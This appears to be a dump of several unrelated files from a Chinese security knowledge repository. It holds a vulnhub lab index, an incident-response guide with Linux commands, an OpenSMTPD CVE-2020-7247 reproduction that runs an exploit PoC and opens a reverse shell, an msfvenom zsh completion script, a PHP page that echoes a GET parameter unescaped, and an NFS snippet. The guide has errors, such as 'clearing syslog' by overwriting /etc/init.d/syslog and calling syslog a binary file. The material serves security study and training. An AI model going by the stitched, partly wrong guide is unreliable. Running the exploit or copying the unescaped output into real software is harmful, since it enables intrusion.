* [DERPNSTINK 1](<靶场环境/vulnhub/DERPNSTINK 1.md>)
* [DevGuru 1](<靶场环境/vulnhub/DevGuru 1.md>)
* [DEVRANDOM SLEEPY](<靶场环境/vulnhub/DEVRANDOM SLEEPY.md>)
* [digitalworld.local BRAVERY](<靶场环境/vulnhub/digitalworld.local BRAVERY.md>)
* [digitalworld.local DEVELOPMENT](<靶场环境/vulnhub/digitalworld.local DEVELOPMENT.md>)
* [digitalworld.local FALL](<靶场环境/vulnhub/digitalworld.local FALL.md>)
* [digitalworld.local JOY](<靶场环境/vulnhub/digitalworld.local JOY.md>)
* [digitalworld.local MERCY v2](<靶场环境/vulnhub/digitalworld.local MERCY v2.md>)
* [digitalworld.local snakeoil](<靶场环境/vulnhub/digitalworld.local snakeoil.md>)
* [digitalworld.local TORMENT](<靶场环境/vulnhub/digitalworld.local TORMENT.md>)
* [DJINN 1](<靶场环境/vulnhub/DJINN 1.md>)
* [Djinn3](<靶场环境/vulnhub/Djinn3.md>)
* [Election 1](<靶场环境/vulnhub/Election 1.md>)
* [Escalate Linux:1](<靶场环境/vulnhub/Escalate Linux:1.md>)
* [EVM 1](<靶场环境/vulnhub/EVM 1.md>)
* [Five86.2](<靶场环境/vulnhub/Five86.2.md>)
* [FristiLeaks:1.3](<靶场环境/vulnhub/FristiLeaks:1.3.md>)
* [Funbox](<靶场环境/vulnhub/Funbox.md>)
* [FunboxEasy](<靶场环境/vulnhub/FunboxEasy.md>)
* [FunboxEasyEnum](<靶场环境/vulnhub/FunboxEasyEnum.md>)
* [FunboxRookie](<靶场环境/vulnhub/FunboxRookie.md>)
* [Gaara](<靶场环境/vulnhub/Gaara.md>)
* [Geisha](<靶场环境/vulnhub/Geisha.md>)
* [Gitroot](<靶场环境/vulnhub/Gitroot.md>)
* [Glasglow 1.1](<靶场环境/vulnhub/Glasglow 1.1.md>)
* [GoldenEye 1](<靶场环境/vulnhub/GoldenEye 1.md>)
* [GREENOPTIC 1](<靶场环境/vulnhub/GREENOPTIC 1.md>)
* [Ha-natraj](<靶场环境/vulnhub/Ha-natraj.md>)
* [Hack Me Please](<靶场环境/vulnhub/Hack Me Please.md>)
* [Hacker kid 1.0.1](<靶场环境/vulnhub/Hacker kid 1.0.1.md>)
* [HackLAB:vulnix](<靶场环境/vulnhub/HackLAB:vulnix.md>)
* [HACKME 1](<靶场环境/vulnhub/HACKME 1.md>)
* [HACKME 2](<靶场环境/vulnhub/HACKME 2.md>)
* [HA:WORDY](<靶场环境/vulnhub/HA:WORDY.md>)
* [Healthcare 1](<靶场环境/vulnhub/Healthcare 1.md>)
* [IMF](<靶场环境/vulnhub/IMF.md>)
* [Inclusiveness](<靶场环境/vulnhub/Inclusiveness.md>)
* [Infosec Prep OSCP Box](<靶场环境/vulnhub/Infosec Prep OSCP Box.md>)
* [InsanityHosting](<靶场环境/vulnhub/InsanityHosting.md>)
* [Katana](<靶场环境/vulnhub/Katana.md>)
* [Kioptrix Level 1.1](<靶场环境/vulnhub/Kioptrix Level 1.1.md>)
* [Kioptrix Level 1](<靶场环境/vulnhub/Kioptrix Level 1.md>)
* [Kioptrix 2014](<靶场环境/vulnhub/Kioptrix 2014.md>)
* [Kioptrix Level 1.2](<靶场环境/vulnhub/Kioptrix Level 1.2.md>)
* [Kioptrix Level 1.3](<靶场环境/vulnhub/Kioptrix Level 1.3.md>)
* [Kvasir](<靶场环境/vulnhub/Kvasir.md>)
* [Lampiao](<靶场环境/vulnhub/Lampiao.md>)
* [LazySysAdmin](<靶场环境/vulnhub/LazySysAdmin.md>)
* [LemonSqueezy](<靶场环境/vulnhub/LemonSqueezy.md>)
* [Lin.Security](<靶场环境/vulnhub/Lin.Security.md>)
* [Loly](<靶场环境/vulnhub/Loly.md>)
* [Lord of the Root 1.0.1](<靶场环境/vulnhub/Lord of the Root 1.0.1.md>)
* [Metasploitable 3](<靶场环境/vulnhub/Metasploitable 3.md>)
* [Monitoring](<靶场环境/vulnhub/Monitoring.md>)
* [MORIA 1.1](<靶场环境/vulnhub/MORIA 1.1.md>)
* [Mr-Robot:1](<靶场环境/vulnhub/Mr-Robot:1.md>)
* [My-CMSMS](<靶场环境/vulnhub/My-CMSMS.md>)
* [Node 1](<靶场环境/vulnhub/Node 1.md>)
* [NoName](<靶场环境/vulnhub/NoName.md>)
* [NullByte](<靶场环境/vulnhub/NullByte.md>)
* [OZ](<靶场环境/vulnhub/OZ.md>)
* [Photographer 1](<靶场环境/vulnhub/Photographer 1.md>)
* [Pinkys Palace v1](<靶场环境/vulnhub/Pinkys Palace v1.md>)
* [Pinkys Palace v2](<靶场环境/vulnhub/Pinkys Palace v2.md>)
* [Pinkys Palace v3](<靶场环境/vulnhub/Pinkys Palace v3.md>)
* [Pinkys Palace v4](<靶场环境/vulnhub/Pinkys Palace v4.md>)
* [Potato](<靶场环境/vulnhub/Potato.md>)
* [Powergrid](<靶场环境/vulnhub/Powergrid.md>)
* [Prime 1](<靶场环境/vulnhub/Prime 1.md>)
* [Pwned1](<靶场环境/vulnhub/Pwned1.md>)
* [PwnLab:init](<靶场环境/vulnhub/PwnLab:init.md>)
* [PWNOS:1.0](<靶场环境/vulnhub/PWNOS:1.0.md>)
* [PWNOS:2.0](<靶场环境/vulnhub/PWNOS:2.0.md>)
* [PyExp](<靶场环境/vulnhub/PyExp.md>)
* [Raven 1](<靶场环境/vulnhub/Raven 1.md>)
* [Raven 2](<靶场环境/vulnhub/Raven 2.md>)
* [Readme 1](<靶场环境/vulnhub/Readme 1.md>)
* [RICKDICULOUSLYEASY 1](<靶场环境/vulnhub/RICKDICULOUSLYEASY 1.md>)
* [Sar:1](<靶场环境/vulnhub/Sar:1.md>)
* [Sedna](<靶场环境/vulnhub/Sedna.md>)
* [Seppuku](<靶场环境/vulnhub/Seppuku.md>)
* [SickOs 1.2](<靶场环境/vulnhub/SickOs 1.2.md>)
* [Simple](<靶场环境/vulnhub/Simple.md>)
* [Sky Tower](<靶场环境/vulnhub/Sky Tower.md>)
* [SolidState](<靶场环境/vulnhub/SolidState.md>)
* [Solstice](<靶场环境/vulnhub/Solstice.md>)
* [SoSimple](<靶场环境/vulnhub/SoSimple.md>)
* [Spydersec](<靶场环境/vulnhub/Spydersec.md>)
* [Stapler 1](<靶场环境/vulnhub/Stapler 1.md>)
* [Sumo](<靶场环境/vulnhub/Sumo.md>)
* [SUNSET MIDNIGHT](<靶场环境/vulnhub/SUNSET MIDNIGHT.md>)
* [SunsetMidnight](<靶场环境/vulnhub/SunsetMidnight.md>)
* [SunsetNoontide](<靶场环境/vulnhub/SunsetNoontide.md>)
* [Sunset:Decoy](<靶场环境/vulnhub/Sunset:Decoy.md>)
* [Ted](<靶场环境/vulnhub/Ted.md>)
* [Temple of Doom](<靶场环境/vulnhub/Temple of Doom.md>)
* [Tiki-1](<靶场环境/vulnhub/Tiki-1.md>)
* [TOMMY BOY 1](<靶场环境/vulnhub/TOMMY BOY 1.md>)
* [Toppo 1](<靶场环境/vulnhub/Toppo 1.md>)
* [TRE 1](<靶场环境/vulnhub/TRE 1.md>)
* [Troll 1](<靶场环境/vulnhub/Troll 1.md>)
* [Troll 2](<靶场环境/vulnhub/Troll 2.md>)
* [Troll 3](<靶场环境/vulnhub/Troll 3.md>)
* [Vegeta1](<靶场环境/vulnhub/Vegeta1.md>)
* [Violator](<靶场环境/vulnhub/Violator.md>)
* [Vulnerable Docker 1](<靶场环境/vulnhub/Vulnerable Docker 1.md>)
* [VulnOS 2](<靶场环境/vulnhub/VulnOS 2.md>)
* [W34kn3ss 1](<靶场环境/vulnhub/W34kn3ss 1.md>)
* [Wallaby's Nightmare](<靶场环境/vulnhub/Wallaby's Nightmare.md>)
* [Web Developer 1](<靶场环境/vulnhub/Web Developer 1.md>)
* [Wintermute](<靶场环境/vulnhub/Wintermute.md>)
* [Wpwn](<靶场环境/vulnhub/Wpwn.md>)
* [xxe](<靶场环境/vulnhub/xxe.md>)
* [Y0usef](<靶场环境/vulnhub/Y0usef.md>)
* [ZICO2:1](<靶场环境/vulnhub/ZICO2:1.md>)
* [云原生](<靶场环境/云原生/README.md>)
* [kubernetes-goat](<靶场环境/云原生/kubernetes-goat.md>)
* [域环境](<靶场环境/域环境/README.md>)
* [PowerShell 搭建AD域渗透环境](<靶场环境/域环境/PowerShell 搭建AD域渗透环境.md>)
* [红日靶场](<靶场环境/红日靶场/README.md>)
|
sec-knowleage
|
# 数字取证和事件响应
数字取证和事件响应(Digital Forensics and Incident Response, DFIR),是一个专注于识别、补救和调查网络安全事件的专业领域,包括收集、保存和分析取证证据,以描绘事件的完整、详细过程的几个方面。
## 标准流程和步骤
### 基本步骤
应急响应操作可分为以下几个步骤:收集信息 -> 判断类型 -> 深入分析 -> 清理处置 -> 产出报告。[1]
- 收集信息:收集客户、业务方反馈的信息,各类安全设备/系统的安全告警
- 判断类型:结合已有信息,判断是否为安全事件,确认后启动应急响应标准流程。以及初步何种安全事件(勒索、挖矿、断网、DoS等),根据安全事件类型来调用相关资源和工具启动调查。
- 深入分析:通过以下几个方面的初步分析,复原攻击路径、攻击手法,找出确定的样本和网络外联信息,便于下一步的清理处置(注意,为即使止损,分析阶段与清理处置过程可以并行)
- 日志分析
- 进程分析
- 启动项分析
- 样本分析
- 清理处置:进行入侵的深入分析、固定证据后。清理相关进程、文件;阻断网络连接;恢复启动项、业务服务;对软件系统进行升级或补丁修复
- 产出报告:整理并输出完整的安全事件报告
### PDCERF模型
PDCERF 方法论是一种防范使用的方法,其将应急响应分成六个阶段,分别是准备阶段(Preparation)、检测阶段(Detection)、抑制阶段(Containment)、根除阶段(Eradication)、恢复阶段(Reconvery)、总结阶段(Follow-up)。[2]
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20220809192046803.png" alt="image-20220809192046803" style="zoom:50%;" />
图:PDCERF流程图
- **准备阶段:**准备阶段以预防为主。
- 主要工作涉及识别机构、企业的风险,建立安全政策,建立协作体系和应急制度
- 按照安全政策配置安全设备和软件,为应急响应与恢复准备主机
- 依照网络安全措施,进行一些准备工作,例如,扫描、风险分析、打补丁等
- 如有条件且得到许可,可建立监控设施,建立数据汇总分析体系,制定能够实现应急响应目标的策略和规程,建立信息沟通渠道,建立能够集合起来处理突发事件的体系
- **检测阶段:**检测阶段主要检测事件是已经发生的还是正在进行中的,以及事件产生的原因
- 确定事件性质和影响的严重程度,以及预计采用什么样的专用资源来修复
- 选择检测工具,分析异常现象,提高系统或网络行为的监控级别,估计安全事件的范围
- 通过汇总,查看是否发生了全网的大规模事件,从而确定应急等级及其对应的应急方案
- **抑制阶段:**抑制阶段的主要任务是限制攻击 / 破坏波及的范围,同时也是在降低潜在的损失。所有的抑制活动都是建立在能正确检测事件的基础上的,抑制活动必须结合检测阶段发现的安全事件的现象、性质、范围等属性,制定并实施正确的抑制策略。
- **根除阶段:**根除阶段的主要任务是通过事件分析找出根源并彻底根除,以避免攻击者再次使用相同的手段攻击系统,引发安全事件。并加强宣传,公布危害性和解决办法,呼吁用户解决终端问题。加强监测工作,发现和清理行业与重点部门问题。
- **恢复阶段:**恢复阶段的主要任务是把被破坏的信息彻底还原到正常运作状态。
- 确定使系统恢复正常的需求内容和时间表,从可信的备份介质中恢复用户数据,打开系统和应用服务,恢复系统网络连接,验证恢复系统,观察其他的扫描,探测可能表示入侵者再次侵袭的信号
- 一般来说,要想成功地恢复被破坏的系统,需要干净的备份系统,编制并维护系统恢复的操作手册,而且在系统重装后需要对系统进行全面的安全加固
- **总结阶段:**总结阶段的主要任务是回顾并整合应急响应过程的相关信息,进行事后分析总结和修订安全计划、政策、程序,并进行训练,以防止入侵的再次发生。基于入侵的严重性和影响,确定是否进行新的风险分析,给系统和网络资产制作一个新的目录清单。这一阶段的工作对于准备阶段工作的开展起到重要的支持作用。
## 主机侧常用命令
以下整理自狼组安全团队公开知识库[3]
### 确认命令篡改
常见命令可能会被非法篡改,如ls、ps、netstat命令被恶意替换为rm -rf。可以利用stat查看文件详细信息,通过比对时间的方式判断命令是否被篡改。另外也可以使用外部指令工具集,如:[BUSYBOX](https://busybox.net/)
### 查看账号信息
```bash
# 1、查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
# 2、查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 4、禁用或删除多余及可疑的帐号
usermod -L user #禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头
userdel -r user #将删除user用户,并且将/home目录下的user目录一并删除
```
### 查看历史命令
```bash
cat ~/bash_history >> history.txt
```
### 检查网络链接
```bash
netstat -antlp|more
#查看 PID 所对应的进程文件路径
file /proc/$PID/exe
```
### 检查异常进程
```bash
ps aux | grep pid
```
### 检查开机启动项
系统运行级别示意图:
| 运行级别 | 含义 |
| :------: | :-------------------------------------------------------: |
| 0 | 关机 |
| 1 | 单用户模式,可以想象为windows的安全模式,主要用于系统修复 |
| 2 | 不完全的命令行模式,不含NFS服务 |
| 3 | 完全的命令行模式,就是标准字符界面 |
| 4 | 系统保留 |
| 5 | 图形模式 |
| 6 | 重启动 |
```bash
# 系统默认允许级别
vi /etc/inittab
id=3:initdefault #系统开机后直接进入哪个运行级别
```
当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在`/etc/init.d`目录下,然后在`/etc/rc.d/rc*.d`中建立软链接即可
```bash
ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh
# S开头代表加载时自启动
```
### 检查定时任务
```bash
ls -al /var/spool/cron/*
cat /etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
# 查看目录下所有文件
more /etc/cron.d/*
/etc/anacrontab
/var/spool/anacron/*
```
### 排查异常文件
1. 查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性
2. 针对可疑文件可以使用`stat`查看创建修改时间
3. 发现WebShell、远控木马的创建时间
```bash
# 如何找出同一时间范围内创建的文件?
find ./ -iname "*" -atime 1 -type f
# 找出 ./ 下一天前访问过的文件
```
### 排查系统日志
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
| 日志文件 | 说明 |
| :----------------: | :----------------------------------------------------------: |
| /var/log/cron | 记录系统定时任务相关的日志 |
| /var/log/message | 记录Linux操作系统常见的系统和服务错误信息(首要检查对象) |
| `/var/log/btmp` | 记录**错误登录(登陆失败)\**日志;使用\**lastb**命令查看 |
| `/var/log/lastlog` | 记录系统中所有用户最后一次成功登录时间,使用**lastlog**命令查看 |
| `/var/log/wtmp` | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件;用**last**命令来查看 |
| /var/log/utmp | 只记录**当前登录用户**的信息;使用**w,who,users**等命令来查询 |
| /var/log/secure | 记录验证和授权方面的信息,如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码 |
```bash
# 查询ssh登录记录
more /var/log/secure
# 安装软件的日志-> Centos
/var/log/yum.log
# 安装软件的日志-> Ubuntu
/var/log/apt/
```
**/var/log/syslog**:只记录警告信息,常常是系统出问题的信息;
> syslog是Linux系统默认的日志守护进程
>
> 默认的syslog配置文件是/etc/sysctl.conf文件
>
> **syslog不可以使用vi等工具直接查看,它是二进制文件,使用 lastlog 查看**
默认Centos,Fedora不生成该日志文件,但可以配置让系统生成该日志文件
```
/etc/rsyslog.conf`文件中加上:`*.warning /var/log/syslog
```
该日志文件能记录当用户登录时login记录下的错误口令、Sendmail的问题、su命令执行失败等信息
**正确清空syslog日志的方式**
```bash
cat /dev/null > /etc/init.d/syslog
```
### 排查Web日志
在对WEB日志进行安全分析时,一般可以按照两种思路展开,逐步深入,还原整个攻击过程。
- 第一种:确定入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进一步排查,最终确定攻击者,还原攻击过程。
- 第二种:攻击者在入侵网站后,通常会留下后门维持权限,以方便再次访问,我们可以找到该文件,并以此为线索来展开分析。
可统计项包括:
- 统计爬虫
- 统计浏览器
- IP统计
- 统计网段
- 统计域名
- HTTP Status
- URL统计
- 文件流量统计
- URL访问统计
### 排查Webshell
使用工具进行排查:
- Windows:[D盾](https://www.d99net.net/)
- Linux:[河马](https://www.shellpub.com/)
根据Web日志进行排查:
- 1. 定位时间和范围:扫描WebShell位置;定位文件创建的时间;检查Web根目录.htaccess文件
- 2. Web日志审计:例如查看access.log(/var/log/nginx),下载到本地审计
- 3. 漏洞分析:分析可能存在漏洞的地方,复现漏洞GetShell。
- 4. 漏洞修复:清除WebShell并修复漏洞
- 5. 对系统和Web应用进行安全加固
## DFIR常用工具集
可参考:[《应急响应大合集》](https://blue.y1ng.org/0x4_incident_response/)
## DFIR实战案例
可参考:[《应急响应实战笔记,Emergency-Response-Notes》](https://github.com/Bypass007/Emergency-Response-Notes)
## Reference
\[1] 应急响应的整体思路和基本流程,千里目安全实验室,https://www.secrss.com/articles/7374
\[2] 什么是 PDCERF 方法,房乐,https://www.wangan.com/wenda/2829
\[3] 狼组安全团队公开知识库,https://wiki.wgpsec.org/knowledge/hw/linux-emergency-response.html
|
sec-knowleage
|
# OpenSMTPD 远程命令执行漏洞 (CVE-2020-7247)
OpenSMTPD 是面向 unix 操作系统 (BSD, MacOS, GNU/Linux) 的一个 smtp 服务程序,遵循 RFC 5321 SMTP 协议,OpenSMTPD 最初是为 OpenBSD 操作系统开发的,是 OpenBSD 项目的一部分,由于其开源的特性,进而分发到了其他 unix 平台。根据 ISC 许可,该软件可免费供所有人使用和重用。
`CVE-2020-7247` 是 OpenSMTPD 在实现 RFC 5321 的过程中对 发件人/收件人 校验不严而导致的。
2020年01月29日,OpenSMTPD 官方在 github 代码仓库提交了针对 `CVE-2020-7247` 漏洞的修复,修复后对应版本为`OpenSMTPD 6.6.2p1`。
参考链接:
- https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt
- https://www.exploit-db.com/exploits/47984
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7247
- https://www.anquanke.com/post/id/197689
## 环境搭建
执行如下命令,启动OpenSMTPD服务
```
docker compose up -d
```
执行完成后,使用`nc <your-ip> 8825 -v` 后应看到如下回显:(`44dadcc5a6eb`为容器编号)
```
220 44dadcc5a6eb ESMTP OpenSMTPD
```
## 漏洞复现
使用[Exploit-DB](https://www.exploit-db.com/exploits/47984)上的POC进行复现:
```
python3 poc.py your-ip 8825 <command>
```
反弹shell:

|
sec-knowleage
|
本课是针对前第1-20课时的msfvenom生成payload的自动补全命令补充。虽msfvenom强大,同样有着非常繁琐的参数,参数强大,意味着会增加工作效率,但它并不像MSF有命令补全功能,故本课吸取前20课经验,自动补全msfvenom的参数。
### 需要zsh的支持:
```bash
root@John:~# cat /etc/shells
# /etc/shells: valid login shells
/bin/sh
/bin/dash
/bin/bash
/bin/rbash
/usr/bin/screen
/bin/zsh
/usr/bin/zsh
/usr/bin/tmux
root@John:~# echo $SHELL
/bin/bash
```

**复制附录A到~/.oh-my-zsh/custom/plugins/msfvenom文件夹下(注:没有msfvenom目录,创建即可)**
```bash
root@John:~/.oh‐my‐zsh/custom/plugins/msfvenom# pwd
/root/.oh‐my‐zsh/custom/plugins/msfvenom
root@John:~/.oh‐my‐zsh/custom/plugins/msfvenom# ls
_msfvenom
```

编辑~/.zshrc文件:
```bash
root@John:~# nano ~/.zshrc
```
```bash
root@John:~# nano ~/.zshrc
root@John:~# cat ~/.zshrc
plugins=(msfvenom)
```

**更新:**
```bash
root@John:~# source ~/.zshrc
```
**效果如下:**


### 附录A:
```bash
#compdef msfvenom
#autoload
#
# zsh completion for msfvenom in Metasploit Framework Project (https://www.metasploit.com)
#
# github: https://github.com/Green‐m/msfvenom‐zsh‐completion
#
# author: Green‐m (greenm.xxoo@gmail.com)
#
# license: GNU General Public License v3.0
#
# Copyright (c) 2018, Green‐m
# All rights reserved.
#
VENOM_CACHE_FILE=~/.zsh/venom‐cache
venom‐clear‐cache() {
rm $VENOM_CACHE_FILE
}
venom‐cache‐payloads() {
if [ ‐x "$(command ‐v msfvenom)" ]
then
VENOM="msfvenom"
elif [ ‐n "$_comp_command1" ]
then
VENOM=$_comp_command1
else
echo "Cound not find msfvenom path in system env, please run msfvenom with path."
fi
if [[ ! ‐d ${VENOM_CACHE_FILE:h} ]]; then
mkdir ‐p ${VENOM_CACHE_FILE:h}
fi
if [[ ! ‐f $VENOM_CACHE_FILE ]]; then
echo ‐n "(...caching Metasploit Payloads...)"
$VENOM ‐‐list payload|grep ‐e "^.*\/" | awk '{print $1}' >>
$VENOM_CA CHE_FILE
fi
}
_msfvenom() {
local curcontext="$curcontext" state line
typeset ‐A opt_args
_arguments ‐C \
'(‐h ‐‐help)'{‐h,‐‐help}'[show help]' \
'(‐l ‐‐list)'{‐l,‐‐list}'[List all modules for type. Types are: paylo
ads, encoders, nops, platforms, archs, encrypt, formats, all]' \
'(‐p ‐‐payload)'{‐p,‐‐payload}'[Payload to use (‐‐list payloads to list,
‐‐list‐options for arguments). Specify ‐ or STDIN for custom]' \
'(‐‐list‐options)‐‐list‐options[List ‐‐payload <value> standard, adva
nced and evasion options]' \
'(‐f ‐‐format)'{‐f,‐‐format}'[Output format (use ‐‐list formats to li
st)]' \
'(‐e ‐‐encoder)'{‐e,‐‐encoder}'[The encoder to use (use ‐‐list encoders
to list)]' \
'(‐‐smallest)‐‐smallest[Generate the smallest possible payload using all
available encoders]' \
'(‐‐encrypt)‐‐encrypt[The type of encryption or encoding to apply to the
shellcode (use ‐‐list encrypt to list)]' \
'(‐‐encrypt‐key)‐‐encrypt‐key[A key to be used for ‐‐encrypt]' \
'(‐‐encrypt‐iv)‐‐encrypt‐iv[An initialization vector for ‐‐encrypt]' \
'(‐a ‐‐arch)'{‐a,‐‐arch}'[the architecture to use for ‐‐payload and ‐
‐encoders (use ‐‐list archs to list)]' \
'(‐‐platform)‐‐platform[The platform for ‐‐payload (use ‐‐list platfo rms
to list)]' \
'(‐o ‐‐out)'{‐o,‐‐out}'[Save the payload to a file]' \
'(‐b ‐‐bad‐chars)'{‐b,‐‐bad‐chars}'[Characters to avoid example: "\x0
0\xff"]' \
'(‐n ‐‐nopsled)'{‐n,‐‐nopsled}'[Prepend a nopsled of \[length\] size on
to the payload]' \
'(‐‐encoder‐space)‐‐encoder‐space[The maximum size of the encoded pay
load (defaults to the ‐s value)]' \
'(‐i ‐‐iterations)'{‐i,‐‐iterations}'[The number of times to encode t he
payload]' \
'(‐c ‐‐add‐code)'{‐c,‐‐add‐code}'[Specify an additional win32 shellcode
file to include]' \
'(‐x ‐‐template)'{‐x,‐‐template}'[Specify a custom executable file to use
as a template]' \
'(‐k ‐‐keep)'{‐k,‐‐keep}'[Preserve the ‐‐template behaviour and inject
the payload as a new thread]' \
'(‐v ‐‐var‐name)'{‐v,‐‐var‐name}'[Specify a custom variable name to use
for certain output formats]' \
'(‐t ‐‐timeout)'{‐t,‐‐timeout}'[The number of seconds to wait when re
ading the payload from STDIN (default 30, 0 to disable)]' \
'*: :($(__msfvenom_options))' && ret=0
lastword=${words[${#words[@]}‐1]}
case "$lastword" in
(‐p|‐‐payload)
_values 'payload' $(__msfvenom_payloads)
;;
(‐l|‐‐list)
local lists=('payloads' 'encoders' 'nops' 'platforms' 'archs' 'encrypt'
'formats' 'all')
_values 'list' $lists
;;
(‐encrypt)
local encrypts=('aes256' 'base64' 'rc4' 'xor')
_values 'encrypt' $encrypts
;;
(‐a|‐‐arch)
_values 'arch' $(__msfvenom_archs)
;;
(‐platform)
_values 'platform' $(__msfvenom_platforms)
;;
(‐f|‐‐format)
_values 'format' $(__msfvenom_formats)
;;
(‐e|‐‐encoder)
_values 'encoder' $(__msfvenom_encoders)
;;
(‐o|‐‐out|‐x|‐‐template|‐c|‐‐add‐code)
_files
;;
(*)
;;
esac
}
__msfvenom_payloads(){
local msf_payloads
# we cache the list of packages (originally from the macports plugin)
venom‐cache‐payloads
msf_payloads=`cat $VENOM_CACHE_FILE`
for line in $msf_payloads; do
echo "$line"
done
}
__msfvenom_archs(){
local archs
archs=(
'aarch64'
'armbe'
'armle'
'cbea'
'cbea64'
'cmd'
'dalvik'
'firefox'
'java'
'mips'
'mips64'
'mips64le'
'mipsbe'
'mipsle'
'nodejs'
'php'
'ppc'
'ppc64'
'ppc64le'
'ppce500v2'
'python'
'r'
'ruby'
'sparc'
'sparc64'
'tty'
'x64'
'x86'
'x86_64'
'zarch'
)
for line in $archs; do
echo "$line"
done
}
__msfvenom_encoders(){
local encoders
encoders=(
'cmd/brace'
'cmd/echo'
'cmd/generic_sh'
'cmd/ifs'
'cmd/perl'
'cmd/powershell_base64'
'cmd/printf_php_mq'
'generic/eicar'
'generic/none'
'mipsbe/byte_xori'
'mipsbe/longxor'
'mipsle/byte_xori'
'mipsle/longxor'
'php/base64'
'ppc/longxor'
'ppc/longxor_tag'
'ruby/base64'
'sparc/longxor_tag'
'x64/xor'
'x64/xor_dynamic'
'x64/zutto_dekiru'
'x86/add_sub'
'x86/alpha_mixed'
'x86/alpha_upper'
'x86/avoid_underscore_tolower'
'x86/avoid_utf8_tolower'
'x86/bloxor'
'x86/bmp_polyglot'
'x86/call4_dword_xor'
'x86/context_cpuid'
'x86/context_stat'
'x86/context_time'
'x86/countdown'
'x86/fnstenv_mov'
'x86/jmp_call_additive'
'x86/nonalpha'
'x86/nonupper'
'x86/opt_sub'
'x86/service'
'x86/shikata_ga_nai'
'x86/single_static_bit'
'x86/unicode_mixed'
'x86/unicode_upper'
'x86/xor_dynamic'
)
for line in $encoders; do
echo "$line"
done
}
__msfvenom_platforms(){
local platforms
platforms=(
'aix'
'android'
'apple_ios'
'bsd'
'bsdi'
'cisco'
'firefox'
'freebsd'
'hardware'
'hpux'
'irix'
'java'
'javascript'
'juniper'
'linux'
'mainframe'
'multi'
'netbsd'
'netware'
'nodejs'
'openbsd'
'osx'
'php'
'python'
'r'
'ruby'
'solaris'
'unix'
'unknown'
'windows'
)
for line in $platforms; do
echo "$line"
done
}
__msfvenom_formats(){
local formats
formats=(
'asp'
'aspx'
'aspx‐exe'
'axis2'
'dll'
'elf'
'elf‐so'
'exe'
'exe‐only'
'exe‐service'
'exe‐small'
'hta‐psh'
'jar'
'jsp'
'loop‐vbs'
'macho'
'msi'
'msi‐nouac'
'osx‐app'
'psh'
'psh‐cmd'
'psh‐net'
'psh‐reflection'
'vba'
'vba‐exe'
'vba‐psh'
'vbs'
'war'
'bash'
'c'
'csharp'
'dw'
'dword'
'hex'
'java'
'js_be'
'js_le'
'num'
'perl'
'pl'
'powershell'
'ps1'
'py'
'python'
'raw'
'rb'
'ruby'
'sh'
'vbapplication'
'vbscript'
)
for line in $formats; do
echo "$line"
done
}
# For most common options, not accurately
__msfvenom_options(){
local options
options=(
LHOST= \
LPORT= \
EXITFUNC= \
RHOST= \
StageEncoder= \
AutoLoadStdapi= \
AutoRunScript= \
AutoSystemInfo= \
AutoVerifySession= \
AutoVerifySessionTimeout= \
EnableStageEncoding= \
EnableUnicodeEncoding= \
HandlerSSLCert= \
InitialAutoRunScript= \
PayloadBindPort= \
PayloadProcessCommandLine= \
PayloadUUIDName= \
PayloadUUIDRaw= \
PayloadUUIDSeed= \
PayloadUUIDTracking= \
PrependMigrate= \
PrependMigrateProc= \
ReverseAllowProxy= \
ReverseListenerBindAddress= \
ReverseListenerBindPort= \
ReverseListenerComm= \
ReverseListenerThreaded= \
SessionCommunicationTimeout= \
SessionExpirationTimeout= \
SessionRetryTotal= \
SessionRetryWait= \
StageEncoder= \
StageEncoderSaveRegisters= \
StageEncodingFallback= \
StagerRetryCount= \
StagerRetryWait= \
VERBOSE= \
WORKSPACE=
)
echo $options
}
#_msfvenom "$@"
```
> Micropoor
|
sec-knowleage
|
<?php
include 'common.php';
if(empty($_GET['imagekey'])) {
header('Location: ?op=home');
exit();
}
$imagekey = $_GET['imagekey'];
$im = load_image($imagekey);
$w = imagesx($im);
$h = imagesy($im);
if($w > MAX_IM_SIZE || $h > MAX_IM_SIZE)
fatal("Invalid image dimensions.");
$nc = imagecolorstotal($im);
if($nc == 0 || $nc > 256)
fatal("Invalid palette size.");
?>
<div class="article">
<h2>Edit your Pixel Art!</h2>
<div>
<form id="ps-saveform" action="?op=save" method="POST">
<input name="imagekey" type="hidden" value="<?=$imagekey;?>" />
<input id="ps-savedata" name="savedata" type="hidden" />
<input name="submit" type="submit" value="Save!" />
<a href="uploads/<?=$imagekey;?>.png">View saved image</a>
</form>
</div>
</div>
<link rel="stylesheet" property="stylesheet" href="css/editor.css">
<div class="editor">
<div class="pixels"><canvas id="ps-pixels" width="512" height="512">Please upgrade your browser!</canvas></div>
<div class="palette">
<canvas id="ps-palette" width="256" height="256">Please upgrade your browser!</canvas>
<br />
<input id="ps-palette-picker" type="color" />
</div>
</div>
<script src="js/editor.js"></script>
<script>
<?php
echo "PixelShop.init_palette([";
for($i=0; $i<$nc; $i++) {
$arr = imagecolorsforindex($im, $i);
echo sprintf('"#%02x%02x%02x",', $arr['red'], $arr['green'], $arr['blue']);
}
echo ']);';
echo "PixelShop.init_pixels($w, $h, [";
for($y=0; $y<$h; $y++) {
for($x=0; $x<$w; $x++) {
echo imagecolorat($im, $x, $y), ',';
}
}
echo ']);';
?>
</script>
|
sec-knowleage
|
# nfs 配置案例
---
## 案例 1
**服务端**
- 在 Centos 上配置 nfs 服务以只读的形式方式共享目录 `/public` (目录需要自己创建).
```bash
yum -y install nfs-utils
```
```vim
vim /etc/exports
/public 192.168.xxx.xxx(ro)
```
```bash
mkdir /public
